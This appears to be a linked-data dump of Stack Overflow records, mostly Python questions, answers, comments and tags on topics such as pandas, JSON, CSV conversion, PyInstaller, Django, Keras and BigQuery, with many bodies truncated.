"2_script.py", line 5, in &lt;module&gt; config = json.load(file_JSON) File "/usr/lib/python3.5/json/__init__.py", line 268, in load parse_constant=parse_constant, object_pairs_hook=object_pairs_hook, **kw) File "/usr/lib/python3.5/json/__init__.py", line 319, in loads return _default_decoder.decode(s) File "/usr/lib/python3.5/json/decoder.py", line 339, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python3.5/json/decoder.py", line 357, in raw_decode raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JS…
has title: What is a good Python configuration file format that can be edited by one script easily and read by another script easily and safely?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84469642
tagged with: semaphore

http://stackoverflow.com/q/48722045
has body: I am trying to find an appropriate value for p &amp; q to decode a hidden text of an image BMP file. The relevant code is as follows: def est_extract(): image_byte_array = est_get_bytes_containing_message() header_len = 54 # CODE TO FIND THE CORRECT VALUES OF p and q # ******************************************************** message_bit_array = est_extract_bits_from_image( image_byte_array, header_len, p, q ) message_byte_array = est_convert_bits_to_bytes( message_bit_array ) est_write_message_text( message_byte_array ) if __name__ == '__main__': est_extract() I am struggling with the code to find the appropriate value of p and q. And I need to do it by maintaining the following steps: I need to write a function called est_bit_proportion which takes a Python array as an argument and computes the proportion of ones in it. And I am going to apply this to the existing message_bit_array for a particular choice of values for p and q. A code which will try different values of p and q, namely all combinations of p = 1, 2, 3 and q = 1, 2, 3. There are thus nine combinations which I am going to try. For each combination of p and q, you are going to run function est_bit_proportion to find the proportion of ones. If the proportion of ones for some combination is less than 1 and greater than 0.5, I have the answer. Save those values of p and q and continue with the loop. So far I have tried with below-mentioned code for a in range(1, 4, 1): for b in range(1, 4, 1): bp = a/b print( "p =", a, "q =", b, "bp =", "%6.3f" % bp) if (bp &gt; .5 and bp &lt; 1): p = a q = b print( "The answer is:", "p =", p, "q =", q) But it's not working properly. The output is looking like below: p = 1 q = 1 bp = 1.000 p = 1 q = 2 bp = 0.500 p = 1 q = 3 bp = 0.333 p = 2 q = 1 bp = 2.000 p = 2 q = 2 bp = 1.000 p = 2 q = 3 bp = 0.667 The answer is: p = 2 q = 3 p = 3 q = 1 bp = 3.000 p = 3 q = 2 bp = 1.500 p = 3 q = 3 bp = 1.000 But output should look like below: p = 1 q = 1 bp = 1.000 p = 1 q = 2 bp = 0.…
accepted answer: http://stackoverflow.com/a/48726117
answer count: 1
favorite count: 0
tagged with: python-3.x
tagged with: python
type: AnsweredQuestion
has title: How to write a function to compute proportion for different combination of numbers (By using python 3+)
has answer: http://stackoverflow.com/a/48726117
downvote count: 1
type: Question
upvote count: 5
score: 4

http://stackoverflow.com/q/48752209
has comment: http://stackoverflow.com/comment/84506631
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/84507751
has body: I have a very large chunk of data that looks like this: #Software: SGOS 5.4.3.7 #Version: 1.0 #Start-Date: 2011-07-22 20:34:51 #Date: 2011-06-02 10:20:47 #Fields: date time time-taken c-ip cs-username cs-auth-group x-exception-id sc-filter-result cs-categories cs(Referer) sc-status s-action cs-method rs(Content-Type) cs-uri-scheme cs-host cs-uri-port cs-uri-path cs-uri-query cs-uri-extension cs(User-Agent) s-ip sc-bytes cs-bytes x-virus-id #Remark: 2610140037 "SG-42" "82.137.200.42" "main" 2011-07-22 20:34:51 282 ce6de14af68ce198 - - - OBSERVED "unavailable" http://www.surfjunky.com/members/sj-a.php?r=44864 200 TCP_NC_MISS GET text/html http www.surfjunky.com 80 /members/sj-a.php ?r=66556 php "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24" 82.137.200.42 1395 663 - 2011-07-22 20:34:51 216 6154d919f8d56690 - - - OBSERVED "unavailable" http://x31.iloveim.com/build_3.9.2.1/comet.html 200 TCP_NC_MISS GET text/html;charset=UTF-8 http x31.iloveim.com 80 /servlets/events ?1122064400327 - "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18" 82.137.200.42 473 1129 - 2011-07-22 20:34:51 307 6d98469a3f1de6f4 - - - OBSERVED "unavailable" http://www.xnxx.com/ 200 TCP_MISS GET image/jpeg http img100.xvideos.com 80 /videos/thumbsl/2/e/5/2e5fd679f1118757314fb9a94c0f626c.25.jpg - jpg "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET4.0C)" 82.137.200.42 16188 415 - I have about 10 - 15 files that range from 700 MB to 20 GB. I need to convert those to JSON so I can use them for testing some JSON analytic software. I have the start of something but I am getting some errors and have some questions This is what I have for a conversion script: #!/usr/bin/python import csv jsfile = file('sg_main__test.json', 'w') jsfile.write('[\r\n') with open('sg_main__test.log','r') as …
answer count: 2
has answer: http://stackoverflow.com/a/48775874
accepted answer: http://stackoverflow.com/a/48754497
has comment: http://stackoverflow.com/comment/84505214
has comment: http://stackoverflow.com/comment/84506334
score: 1
favorite count: 0
possible better answer: http://stackoverflow.com/a/48775874
upvote count: 2
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
type: AnsweredQuestion
has title: Python script - TSV conversion to JSON
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/48754497

http://stackoverflow.com/comment/84525527
score: 0
type: AnswerComment
has text: That is just a sample code . I have just used a small portion from my working code. You will have to update depending on your field type.
type: Comment
comment on: http://stackoverflow.com/a/48753547

http://stackoverflow.com/q/48654248
type: Question
tagged with: export-to-csv
has answer: http://stackoverflow.com/a/48654477
accepted answer: http://stackoverflow.com/a/48654477
has title: Python - scrape HTML to csv in neat table(s) format
upvote count: 1
has comment: http://stackoverflow.com/comment/84307125
answer count: 1
has comment: http://stackoverflow.com/comment/84306908
favorite count: 0
has comment: http://stackoverflow.com/comment/84327153
has comment: http://stackoverflow.com/comment/84306581
has body: I got the python script below and the purpose is to scrape HTML and save it to csv in nest table(s) format. Can anyone could help? Thank you very much!
tagged with: python
type: AnsweredQuestion
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84306755

http://stackoverflow.com/a/48794522
score: 1
upvote count: 1
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/48737810
has body: You are 99% of the way there: df['sign'] = np.sign(np.log(df['close']/df['close'].shift(1))).map(str) df['streak'] = df.groupby((df['sign'] !=df['sign'].shift(1)).cumsum()).cumcount()+1 df['final_streak'] = df['sign'].astype(float)*df['streak'] Should give you what you want (not sure how to do it without using the sign column, this solution seemed simplest given the work you have already done).
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48737810

http://stackoverflow.com/comment/84382631
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48687981
has text: Not much familiar with Py. my understanding however is that when you start Qapp subprocess it would start its (blocking) event loop (?) So your signal is being blocked, what I can't understand is why pressing arbitrary button exits or deblocks that event loop!
score: 0

http://stackoverflow.com/q/48758437
tagged with: pyinstaller
tagged with: python
has body: this is my first post to stackoverflow, though I've been utilizing this site for a good long while now. Excited to be in the community. (I'm fairly new to python, and especially to PyInstaller) I'm developing a data exploration GUI based on tkinter that relies heavily on pandas and numpy and also utilizes the sklearn.linear_model module. I've got a venv setup and I'm able to run PyInstaller and successfully create an .exe. However, when I try to open the program (via command line) it throws: "ImportError: DLL load failed: The specified module could not be found." The error occurs on the line import sklearn.linear_model as lin in the script. I tried creating a hook for the module with contents hiddenimports = ['sklearn.linear_model'] to no avail, and have been digging across the internet for hours and can't seem to find an answer. If I comment out the import, the PyInstaller continues to work just fine, and the .exe works--the program opens just fine, but of course functionality related to the linear model is not available. So it seems I've narrowed it down to the module, but of course, what to do next? No clue. Here's the traceback: (venv_py35) C:\Users\ts012096\Desktop\Python\ToolBox\Draft01&gt;dist\CrashDET_draft 01\CrashDET_draft01.exe Traceback (most recent call last): File "CrashDET_draft01.py", line 28, in &lt;module&gt; import sklearn.linear_model as lin File "c:\users\ts012096\desktop\python\toolbox\draft02\venv_py35\lib\site-pack ages\PyInstaller\loader\pyimod03_importers.py", line 631, in exec_module exec(bytecode, module.__dict__) File "lib\site-packages\sklearn\__init__.py", line 134, in &lt;module&gt; File "c:\users\ts012096\desktop\python\toolbox\draft02\venv_py35\lib\site-pack ages\PyInstaller\loader\pyimod03_importers.py", line 631, in exec_module exec(bytecode, module.__dict__) File "lib\site-packages\sklearn\base.py", line 13, in &lt;module&gt; File "c:\users\ts012096\desktop\python\toolbox\draft02\venv_py35\lib\site-pack ages\PyInstaller\loader\py…
has comment: http://stackoverflow.com/comment/84534208
has comment: http://stackoverflow.com/comment/84541732
upvote count: 1
type: UnansweredQuestion
answer count: 0
downvote count: 0
score: 1
tagged with: scikit-learn
favorite count: 0
has title: sklearn.linear_model causing ImportError when opening .exe created with PyInstaller
tagged with: python-3.x
type: Question

http://stackoverflow.com/q/48667107
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48667392
has comment: http://stackoverflow.com/comment/84332338
type: Question
has title: How to display records belonging to exacly one category
has comment: http://stackoverflow.com/comment/84332228
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/48667392
has body: I've create something like this In the label 'Monitoring www' the records now are displaying correctly. If the user is logged, they can add Websites, and after that the user can add keywords.Now I want to display the websites and the keywords belonging to the website record. In view.py I have: @login_required def website_list(request): website_list_user = Website.objects.filter(user=request.user).order_by('-user') context = {'website_list_user': website_list_user} return render(request, 'konto/dashboard.html', context=context) @login_required def keyword_list(request): keyword_list_user = Keyword.objects.filter(keyword=request.keyword).order_by('-keyword') context = {'keyword_list_user': keyword_list_user} return render(request, 'konto/dashboard.html', context=context) in forms.py class KeywordForm(forms.ModelForm): class Meta: model = Keyword fields = ('www', 'keyword') def __init__(self, user, *args, **kwargs): super(KeywordForm, self).__init__(*args, **kwargs) self.fields['www'].queryset = user.website_set.all() self.user = user def save(self, commit=True): instance = super(KeywordForm, self).save(commit=False) instance.user = self.user if commit: instance.save() return instance and my template : {% if request.user.is_authenticated %} Monitoring www: {% for website in website_list_user %} {{website.website}} {% endfor %} Słowa kluczowe: {% for keyword in keyword_list %} {{keyword.keyword}} {% endfor %} {% endif %} EDIT: my urls.py from django.urls import path from django.contrib.auth import views as auth_views from .views import dashboard, register, settings, del_user, website_list, keyword_list, new_website, new_keyword, main_page urlpatterns =[ path('', main_page, name='main_page'), path('login/', auth_views.login, name='login'), path('logout/', auth_views.logout, name='logout'), path('logout-then-login/', auth_views.logout_then_login, name='logout_then_login'), path('password-change/', auth_views.password_change, name='password_change'), path('password-change-…
tagged with: django
tagged with: python

http://stackoverflow.com/q/48707700
duplicate of: http://stackoverflow.com/q/20461165
has comment: http://stackoverflow.com/comment/84414138
score: 0
has body: How to store the dataframe from the output from pandas group by as something like output 2 given below without displaying both category in the first column (i think it is the index). The below code output is given in the output 1 but I need to create something like output 2 df1 = (df.groupby(['a_category', 'b_category' ]). size(). unstack () Output1: df1: b_category no yes a_category A1 10 15 A2 20 22 A3 11 16 A4 12 26 Output : df1: a_category no yes A1 10 15 A2 20 22 A3 11 16 A4 12 26
type: UnansweredQuestion
has title: How to store the dataframe from the output from group by
tagged with: pandas-groupby
tagged with: pandas
answer count: 0
has comment: http://stackoverflow.com/comment/84431360
tagged with: python-3.x
type: Question
linked to: http://stackoverflow.com/q/20461165
tagged with: python

http://stackoverflow.com/a/48726414
upvote count: 1
has body: Based on the logic of @Wen's and @jezrael's solutions, and while waiting for their edits to overcome some minor issues, I worked out another one that is functional: df = pd.DataFrame({'date': ['2014-06-22 17:46:00', '2014-06-24 16:52:00', '2014-06-25 20:02:00', '2014-06-25 17:55:00', '2014-07-02 11:36:00', '2014-07-06 12:40:00', '2014-07-05 12:46:00', '2014-07-27 15:12:00'], 'type': ['A', 'A', 'A', 'B', 'B', 'C', 'C', 'C']}) print(df) date type 0 2014-06-22 17:46:00 A 1 2014-06-24 16:52:00 A 2 2014-06-25 20:02:00 A 3 2014-06-25 17:55:00 B 4 2014-07-02 11:36:00 B 5 2014-07-06 12:40:00 C 6 2014-07-05 12:46:00 C 7 2014-07-27 15:12:00 C question 1: #convert str to datetime type df['dateDT'] = pd.to_datetime(df.date) #create col with specific time, and each lines date df['5pm'] = pd.to_datetime(df.dateDT.dt.date.astype(str) + ' 17:00:00') #find time difference in seconds df['tDiff5pm'] = abs((df.dateDT - df['5pm']).dt.total_seconds()) #get min diff per group print(df.tDiff5pm.abs().groupby(df['type']).idxmin()) type A 1 B 3 C 7 Name: tDiff5pm, dtype: int64 question 2: #as above but no absolute values df['tDiff5pm2'] = (df.dateDT - df['5pm']).dt.total_seconds() #NaNs to later times, then abs (got this from @Wen's answer df['onlyEarlier']=df['tDiff5pm2'].where(df['tDiff5pm2']&lt;0).abs() #get min diff per group print(df.groupby('type').onlyEarlier.idxmin()) type A 1 B 4 C 7 Name: onlyEarlier, dtype: int64
score: 1
answers question: http://stackoverflow.com/q/48692745
downvote count: 0
type: Answer

http://stackoverflow.com/q/48728628
has comment: http://stackoverflow.com/comment/84457233
has answer: http://stackoverflow.com/a/48729169
has title: replacing the column of one csv file from another csv file
has answer: http://stackoverflow.com/a/48730083
answer count: 3
has answer: http://stackoverflow.com/a/48729093
upvote count: 0
has comment: http://stackoverflow.com/comment/84459690
favorite count: 0
has body: I am working on an assignment i have two CSV files. First File Contains my whole data(shown Below) First File: 0 ID Name Suburb State Postcode Email Lat Lon 0 0 1 Hurstville Clinic Hurstville NSW 1493 hurstville@myclinic.com.au -33.975869 151.088939 1 1 2 Sydney Centre Clinic Sydney NSW 2000 sydney@myclinic.com.au -33.867139 151.207114 2 2 3 Auburn Clinic Auburn NSW 2144 auburn@myclinic.com.au -33.849322 151.033421 3 3 4 Riverwood Clinic Riverwood NSW 2210 riverwood@myclinic.com.au -33.949859 151.052469 Second File contains the data Which i have to Replace with the first file Email Column. I used Regex to convert the second file into HTML links. This is what I've done to clean my data: def clean(filename): df = pd.read_csv(filename) df['Email'] = df['Email'].apply(lambda x: x if '@' in str(x) else str(x)+'@myclinic.com.au') return df.to_csv('temp1.csv') Second File output Email which is not correct. The above function is ommiting everything before the spaces in the email column and also ommmiting any row which has space before @ in the email column. This is what I have to do: a) Clean the data of file one (Two unwanted columns) and There are some spaces in the Email column as some addresses have spaces in the name and they can not be read in the final function. b) The end output that i am getting is not the output that i want. it is ommiting 10 rows: this is what I've done in file2. emails = re.findall(r'\S+@\S+', text) for x in range(0, len(emails)): emails[x] = '' % emails[x]; emails.insert(0, 'Email') with open(csvfile, "w") as output: writer = csv.writer(output, lineterminator='\n') for val in emails: writer.writerow([val]) here, text is a dictonary which contains my whole csv data. Insteading of calling CSV file i just copied whole content in my python file. Final Output ID Name Suburb State Postcode Email_Str Lat Lon 0 1 Hurstville Clinic Hurstville NSW 1493 -33.975869 151.088939 1 2 Sydney Centre Clinic Sydney NSW 2000 -33.867139 151.207114 2 3 Auburn Clinic …
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
score: -2
tagged with: regex
has comment: http://stackoverflow.com/comment/84461099
downvote count: 2
type: Question
has comment: http://stackoverflow.com/comment/84457657
has comment: http://stackoverflow.com/comment/84461376

http://stackoverflow.com/q/48752316
tagged with: python
downvote count: 3
has title: Read each name from each line in file 1, look for same name in file 2, compare values
has comment: http://stackoverflow.com/comment/84505295
type: Question
has comment: http://stackoverflow.com/comment/84505314
tagged with: python-2.7
upvote count: 0
answer count: 1
has answer: http://stackoverflow.com/a/48752498
favorite count: 0
has body: Say I have two .txt files: file1.txt contains: model1 2.37 model2 3.33 model3 4.25 file2.txt contains: model2 2.65 model1 2.39 model3 2.34 How could I read each line of file1.txt and for each line: List item read the model search for it in file2.txt compare the two values, i.e. model1 has increased by 0.02, model3 has decreased by -1.91. report back the difference to another .txt file
type: UnansweredQuestion
score: -3

http://stackoverflow.com/a/48746226
score: 0
has comment: http://stackoverflow.com/comment/84492187
type: Answer
has comment: http://stackoverflow.com/comment/84492579
answers question: http://stackoverflow.com/q/48746076
has body: Move the return? def path(d,consider,end,route=''): if consider==end: return route else: for e in d[consider]: print(e) route = path(d, e, end, route) route=str(e)+route print(route) return route
has comment: http://stackoverflow.com/comment/84493058
has comment: http://stackoverflow.com/comment/84492471
has comment: http://stackoverflow.com/comment/84492324

http://stackoverflow.com/comment/84484476
score: 0
comment on: http://stackoverflow.com/q/48734716
type: Comment
type: QuestionComment
has text: @skrx I have finished the mcve

http://stackoverflow.com/q/48714090
has title: Problems with performance of drawing image
upvote count: 0
score: -1
accepted answer: http://stackoverflow.com/a/48720367
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/84437347
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48720367
downvote count: 1
has body: I used matplotlib and pyqtgraph to draw image containing several millions of pixels (there were no big area with same color), but they were pretty slow. How can one improve performance? I don't even need to show it on screen, only save to file. I use Windows.
type: Question
tagged with: graphics

http://stackoverflow.com/q/48673624
type: Question
score: 2
downvote count: 0
has body: I have the following directory structure: ~/python_libs /markets Players.py Commodity.py Markets.py Currency.py __init__.py and my __init__.py is this: import numpy.random as rn import matplotlib.pyplot as plt from time import gmtime, strftime from datetime import datetime I have set $PYTHONPATH=${HOME}/python_lib and verified that this has become part of sys.path (from import sys) Now, I go into ipython and import markets Nothing. It gives a blank line, but if I use, say p=Player() I get name 'Player' is not defined I'm stumped. How do I import markets and have access to the modules in the markets package?
has comment: http://stackoverflow.com/comment/84345836
answer count: 1
has title: How to import my own Python packages
favorite count: 0
upvote count: 2
type: UnansweredQuestion
tagged with: package
has answer: http://stackoverflow.com/a/48673642
tagged with: python

http://stackoverflow.com/q/48729095
type: Question
tagged with: python
has answer: http://stackoverflow.com/a/48729320
has title: Python Currency Converter
score: -1
accepted answer: http://stackoverflow.com/a/48729320
downvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/84457549
has comment: http://stackoverflow.com/comment/84457132
type: AnsweredQuestion
upvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/84457155
has body: The following code is a simple currency converter. Everything works but the last if statement, which causes the code to break. Whenever I put a number less than .25 in an if statement, it breaks the code. I would greatly appreciate any input to why this is. Thank you very much. def currency_converter(amount): hundred = 0 fifty = 0 ten = 0 five = 0 one = 0 quarter = 0 dime = 0 while amount &gt; 0: if amount &gt;= 100: hundred+=1 amount-=100 if 100 &gt; amount &gt;= 50: fifty+=1 amount-=50 if 50 &gt; amount &gt;= 10: ten+=1 amount-=10 if 10 &gt; amount &gt;= 5: five+=1 amount-=5 if 5 &gt; amount &gt;= 1: one+=1 amount-=1 if 1 &gt; amount &gt;= float(.25): quarter+=1 amount-=float(.25) if float(.25) &gt; amount &gt;= float(.1): dime+=1 amount-=float(.1) print(hundred, "Hundred-dollar bill") print(fifty, "Fifty-dollar bill") print(ten, "Ten-dollar bill") print(five, "Five-dollar bill") print(one, "One-dollar bill") print(quarter, "Quarter") print(dime, "Dime") currency_converter(5.6)

http://stackoverflow.com/comment/84447631
type: Comment
comment on: http://stackoverflow.com/q/48722737
type: QuestionComment
has text: Specific implementations of ewm windows can vary--see http://pandas.pydata.org/pandas-docs/stable/computation.html#exponentially-weighted-windows
score: 0

http://stackoverflow.com/q/48742044
answer count: 2
linked to: http://stackoverflow.com/q/32927631
has comment: http://stackoverflow.com/comment/87819946
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85020074
tagged with: python
linked to: http://stackoverflow.com/q/39218106
linked to: http://stackoverflow.com/q/9233027
has answer: http://stackoverflow.com/a/48742314
has title: Unicode Decode Error while reading text from image
type: Question
has body: I have used this code to read text from an image file. Reading text from image The code is as follows from PIL import Image from pytesseract import image_to_string image = Image.open("image.jpg",'r') myText = image_to_string(Image.open(open('maxresdefault.jpg')),config='-psm 10') myText = image_to_string(Image.open(open('maxresdefault.jpg'))) print(myText) Error: UnicodeDecodeError: 'charmap' codec can't decode byte 0x81 in position 278: character maps to Tried to solve this error from following:UnicodeDecodeError: 'charmap' codec can't decode byte X in position Y: character maps to <undefined> Then got error: UnicodeDecodeError: 'utf-8' codec can't decode byte 0xff in position 0: invalid start byte
tagged with: anaconda
has answer: http://stackoverflow.com/a/59325396
score: 0

http://stackoverflow.com/a/48759354
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48759078
upvote count: 2
has body: Your dataframe looks a bit strange, but I am a going to assume you have multiIndex columns for all four columns, and row index is default. Input dataframe: print(df) customer_info counts customer_name current_date record_counts current-day_counts 0 Mark 2018_02_06 23 15 1 Mark 2018_02_09 65 42 2 Mark 2018_02_12 7 33 3 Mark 2018_02_21 36 82 4 Mark 2018_02_27 43 72 5 Bob 2018_02_02 56 76 6 Bob 2018_02_23 77 11 7 Bob 2018_03_04 35 59 8 Bob 2018_03_13 34 68 9 Shawn 2018_02_11 75 71 10 Shawn 2018_02_15 26 39 11 Shawn 2018_02_18 73 65 12 Shawn 2018_02_24 87 38 df.columns = df.columns.droplevel(0) df['previous_day_count'] = (df.groupby('customer_name')['current-day_counts'] .shift().fillna(0)) print(df) Output: customer_name current_date record_counts current-day_counts previous_day_count 0 Mark 2018_02_06 23 15 0.0 1 Mark 2018_02_09 65 42 15.0 2 Mark 2018_02_12 7 33 42.0 3 Mark 2018_02_21 36 82 33.0 4 Mark 2018_02_27 43 72 82.0 5 Bob 2018_02_02 56 76 0.0 6 Bob 2018_02_23 77 11 76.0 7 Bob 2018_03_04 35 59 11.0 8 Bob 2018_03_13 34 68 59.0 9 Shawn 2018_02_11 75 71 0.0 10 Shawn 2018_02_15 26 39 71.0 11 Shawn 2018_02_18 73 65 39.0 12 Shawn 2018_02_24 87 38 65.0
type: Answer
accepted answer of: http://stackoverflow.com/q/48759078
score: 2
downvote count: 0

http://stackoverflow.com/q/48730164
tagged with: ssh
has comment: http://stackoverflow.com/comment/84459781
has comment: http://stackoverflow.com/comment/84460504
tagged with: linux
has title: Passing an ip address as a bash variable into ssh?
type: UnansweredQuestion
tagged with: python
answer count: 0
has comment: http://stackoverflow.com/comment/84478044
has body: I have a python shell script, launcher.py which spits out an ip address into a file called ipaddr.txt. I need to use this single ip address which ipaddr.txt contains to connect to a host, but for some reason ssh hangs when trying to get it to connect to the ip address fed into it. First I run the script to put the ip address into the file (ipaddr.txt) ./launcher.py &amp;&amp; Then I try to get ssh to connect to the ip address in question uname="root@" ip_addr=$uname"$(cat ipaddr.txt)" &amp;&amp; ssh eval echo $ip_addr An example result from echoing $ip_addr is: root@45.55.43.11 For some reason ssh just hangs, and I am guessing that it has to do with me trying to pass in a bash variable as an argument into ssh, but I am not sure how to solve it. Any help would be much appreciated.
type: Question
score: 0
tagged with: bash

http://stackoverflow.com/q/48785984
answer count: 1
tagged with: keras
favorite count: 0
has comment: http://stackoverflow.com/comment/84577250
upvote count: 2
tagged with: classification
type: UnansweredQuestion
tagged with: python
has title: Error making prediction with Keras model
score: 2
has answer: http://stackoverflow.com/a/48787843
tagged with: tensorflow
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/84575930
has body: I'm trying to get a prediction on a sample using a pre-trained Keras model but am getting an error. I've detailed parts of the model-training script to show the data-preparation, matrix-shapes and model-specification; Matrix Shapes &amp; Data Preparation: from __future__ import print_function #import numpy as np np.random.seed(1337) # for reproducibility from keras.datasets import mnist from keras.models import Sequential from keras.layers import Dense, Dropout, Activation, Flatten from keras.layers import Convolution2D, MaxPooling2D from keras.utils import np_utils from keras import backend as K batchsize = 128 nb_classes = 3 nb_epochs = 12 # input image dimensions img_rows, img_cols = 28, 28 # number of convolutional filters to use nb_filters = 32 # size of pooling area for max pooling pool_size = (2, 2) # convolution kernel size kernel_size = (3, 3) # the data, shuffled and split between train and test sets #(X_train, y_train), (X_test, y_test) = mnist.load_data() if K.image_dim_ordering() == 'th': X_train = X_train.reshape(X_train.shape[0], 1, img_rows, img_cols) X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols) input_shape = (1, img_rows, img_cols) else: X_train = X_train.reshape(X_train.shape[0], img_rows, img_cols, 1) X_test = X_test.reshape(X_test.shape[0], img_rows, img_cols, 1) input_shape = (img_rows, img_cols, 1) X_train = X_train.astype('float32') X_test = X_test.astype('float32') X_train /= 255 X_test /= 255 print('X_train shape:', X_train.shape) print(X_train.shape[0], 'train samples') print(X_test.shape[0], 'test samples') # convert class vectors to binary class matrices Y_train = np_utils.to_categorical(y_train, nb_classes) Y_test = np_utils.to_categorical(y_test, nb_classes) Model Specification: model = Sequential() model.add(Convolution2D(nb_filters, [kernel_size[0], kernel_size[1]], padding='valid', input_shape=input_shape, name='conv2d_1')) model.add(Activation('relu')) model.add(Convolution2D(nb_filters, [kernel_size[0], kernel_si…

http://stackoverflow.com/comment/84361745
has text: Thanks for your reply Deepak. I tried to install googlemaps api and found the route directions between two places A,B. Now i need to figure out the way to find whether a given lat and long exists between the driving path A -> B.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48681782

timeit
tag name: timeit
type: Tag
tags question: http://stackoverflow.com/q/48733545

http://stackoverflow.com/q/48733924
type: Question
upvote count: 2
has title: Python checking if files exist before writing
answer count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/84471516
favorite count: 0
has body: I have a file that contains .odt files and I would like to convert them to pdf. My current function works fine, the problem is that even if the file is already converted, the function converts it again, and I do not want to convert a file if it is already converted. Is there a way to check if the name.odt and name.pdf files already exist? import sys import os import comtypes.client import glob def convert(): for file in glob.glob("*.odt"): # Listing all files wdFormatPDF = 17 in_file = os.path.abspath(file) name, ext = os.path.splitext(file) suffix = '.pdf' os.path.join(name + suffix) if not os.path.exists(name): # Pdf file doesn't exist out_file = os.path.abspath(name) word = comtypes.client.CreateObject('Word.Application') doc = word.Documents.Open(in_file) doc.SaveAs(out_file, FileFormat=wdFormatPDF) print('the file ' + name +' has been converted') else : print('all the file are converted') doc.Close() word.Quit()
tagged with: python
linked to: http://stackoverflow.com/q/82831
has answer: http://stackoverflow.com/a/49141620
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84467039
has comment: http://stackoverflow.com/comment/84467042
score: 1

http://stackoverflow.com/comment/84309610
has text: but would that work on Jenkins through a VM? The issue I currently have is that pyautogui is not working on a virtual machine. Locally pyautogui works perfectly fine simulating different keyboard actions but for some reason on Jenkins it doesn't work.
comment on: http://stackoverflow.com/q/48654727
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/56349168
upvote count: 22
downvote count: 0
has comment: http://stackoverflow.com/comment/115269996
type: Answer
has comment: http://stackoverflow.com/comment/133073430
answers question: http://stackoverflow.com/q/48796169
has body: I just ran into this problem today and found a quick, stupid solution is to insert an argument processor for the -f argument that qtconsole/ipython passes though and we did not expect. At end of parser.add_argument I put in: parser.add_argument("-f", "--fff", help="a dummy argument to fool ipython", default="1") I don't use the -f parameter, so there's no loss for me. I'd rather not re-engineer a larger argument processing framework just because of ipython cropping up in workflow on one particular computer...
score: 22

http://stackoverflow.com/comment/84528351
score: 0
type: Comment
type: QuestionComment
has text: Seems that is 7 years old. In the meantime the algorithm has been ported from c to c++. [here](https://github.com/matplotlib/matplotlib/blob/f66687c8cfa72bfe769ca79d60c00a453611543b/lib/matplotlib/contour.py#L1444) would be the entry point, pointing to [this](https://github.com/matplotlib/matplotlib/blob/f66687c8cfa72bfe769ca79d60c00a453611543b/src/_contour.cpp#L596) c++ function.
comment on: http://stackoverflow.com/q/48762672

http://stackoverflow.com/q/48662949
tagged with: google-bigquery
has comment: http://stackoverflow.com/comment/84325273
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/84354663
has body: I have a python script that executes a gbq job to load a csv file f to table in BigQuery. I am trying to upload data in csv format and getting the following error: 400 Invalid schema update. Cannot add fields (field: string_field_8) this is my csv: id,first_name,username,last_name,chat_username,chat_id,forward_date,message_text 231125223|Just|koso|swissborg_bounty|-1001368946079|1517903147|tes 481895079|Emerson|EmersonEmory|swissborg_bounty|-1001368946079|1517904387|pictu 316560356|Ken Sam|ICOnomix|swissborg_bounty|-1001368946079|1517904515|Today this is my code: from google.cloud.bigquery import Client import os os.environ['GOOGLE_APPLICATION_CREDENTIALS'] = '***.json' os.environ['GOOGLE_CLOUD_DISABLE_GRPC'] = 'True' from google.cloud import bigquery dataset_name = 'test_temporary_dataset' table_name='table_telega' bigquery_client = bigquery.Client() dataset = bigquery_client.dataset(dataset_name) table = dataset.table(table_name) job_config = bigquery.LoadJobConfig() job_config.source_format = 'text/csv' job_config.skip_leading_rows = 1 job_config.autodetect = True job_config.fieldDelimiter='|' job_config.allow_jagged_rows=True job_config.ignoreUnknownValues=True job_config.allow_quoted_newlines=True with open('**.csv', 'rb') as source_file: #job = table.upload_from_file(source_file, source_format='text/csv') job=bigquery_client.load_table_from_file(source_file, table, job_config=job_config) job.result() print(job.result()) how to fix it? what should I change ?
favorite count: 0
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/84610702
has answer: http://stackoverflow.com/a/50029209
tagged with: http://stackoverflow.com/tag/csv
tagged with: python
has title: Cannot add fields when importing CSV to a table in BigQuery
type: UnansweredQuestion
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/51627932
type: Question
has comment: http://stackoverflow.com/comment/84572408

nonlinear-optimization
tags question: http://stackoverflow.com/q/48802463
tags question: http://stackoverflow.com/q/48713143
tag name: nonlinear-optimization
type: Tag

http://stackoverflow.com/comment/84302752
comment on: http://stackoverflow.com/a/48652132
type: AnswerComment
score: 0
type: Comment
has text: @ChristianDean thank you for pointing that out. Please see my recent edit.

http://stackoverflow.com/q/48697322
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: php
